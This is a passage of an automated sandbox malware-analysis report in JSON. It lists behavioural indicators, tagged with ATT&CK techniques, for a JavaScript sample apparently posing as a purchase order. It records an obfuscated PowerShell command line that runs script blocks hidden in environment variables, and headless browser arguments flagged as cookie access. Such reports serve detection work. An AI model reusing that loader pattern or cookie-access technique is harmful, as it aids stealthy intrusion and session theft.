\"pipe\" - (UID: 00000000-00005420)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134340387639574412.1708.DefaultAppDomain.powershell\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134340388692937670.412.DefaultAppDomain.powershell\" - (UID: 00000000-00000412)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134340389814015944.8040.DefaultAppDomain.powershell\" - (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$29","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp, 00000000-00000412.00000000.122181.419A9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000000.121766.36920000.00000004.mdmp, 00000000-00001708.00000000.121766.3698F000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.3698F000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$2d","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"imm_compose_XMRVLCRBh.cmd\" as clean (type is \"DOS batch file ASCII text with very long lines (2686) with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (UID: 00000000-00001708)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (UID: 00000000-00000412)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))\"\" (UID: 00000000-00008040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"$2e","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134340387639574412.1708.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134340388692937670.412.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134340389814015944.8040.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$30","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"chrome.exe\" (UID: 00000000-00007496)\n Launches browser \"chrome.exe\" (UID: 00000000-00002684)\n Launches browser \"chrome.exe\" (UID: 00000000-00005268)\n Launches browser \"chrome.exe\" (UID: 00000000-00005048)\n Launches browser \"chrome.exe\" (UID: 00000000-00007384)\n Launches browser \"chrome.exe\" (UID: 00000000-00004796)\n Launches browser \"msedge.exe\" (UID: 00000000-00007408)\n Launches browser \"msedge.exe\" (UID: 00000000-00003476)\n Launches browser \"msedge.exe\" (UID: 00000000-00000872)\n Launches browser \"msedge.exe\" (UID: 00000000-00004132)\n Launches browser \"msedge.exe\" (UID: 00000000-00006228)\n Launches browser \"msedge.exe\" (UID: 00000000-00004144)\n Launches browser \"msedge.exe\" (UID: 00000000-00007084)\n Launches browser \"msedge.exe\" (UID: 00000000-00008060)\n Launches browser \"msedge.exe\" (UID: 00000000-00008096)\n Launches browser \"msedge.exe\" (UID: 00000000-00005524)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at F8220000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 125F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 18450000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 27600000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 27600000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 27600000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 270B0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at F9820000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 28FF0000\n \"findstr.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 28FF0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 28FF0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c74828fb7f0000@ntdll.dll\"\n \"220023000000000018c74828fb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"New PO230824312.js\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$32","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$33","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$34","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$36","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$37","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a54vlmsi.myt.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a1v3dsxq.rvj.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4jlz0bo2.lan.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fidxucdf.l5v.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vefi2iku.l2t.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_g3vm5h1w.0iw.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$38","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$3a","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\newpo230824312.js.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\Server\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Reference\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Input\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Output\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\FLTLIB.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\MSVCP140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$3e","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000412.00000000.122181.9A3E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp, 00000000-00001708.00000001.122279.36350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"4.0.0.4\"\n \"2.5.29.32\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.15\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.14\"\n \"2.5.29.31\"\n \"2.5.29.17\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n \"1.12.2.1\"\n \"2.5.4.6\"\n \"2.5.4.8\"\n \"2.5.4.7\"\n \"2.5.4.10\"\n \"2.5.4.11\"\n \"2.5.4.5\"\n \"4.0.0.0000000\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n Potential IP \"3.0.0.0\" found in string \"ersion=3.0.0.0, <\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00008040\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00001708\"\n YARA signature for encryption algorithm process \"00000000-00008040\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE4B232B3D148A7F0119E54D77B506]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000412.00000000.122181.26DA0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLED5B243D948A58F3757B2F9277E9E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp, 00000000-00001708.00000001.122279.36350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00000412.00000000.122181.9A3E0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\fx1ihedi.55i\"\" (Indicator: \"--user-data-dir\"; File: \"chrome.exe\")\n file/memory contains long string with (Indicator: \"--user-data-dir\"; File: \"chrome.exe\")\n Found string \"--disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\1xes2x0b.df5\"\" (Indicator: \"--user-data-dir\"; File: \"msedge.exe\")\n file/memory contains long string with (Indicator: \"--user-data-dir\"; File: \"msedge.exe\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for 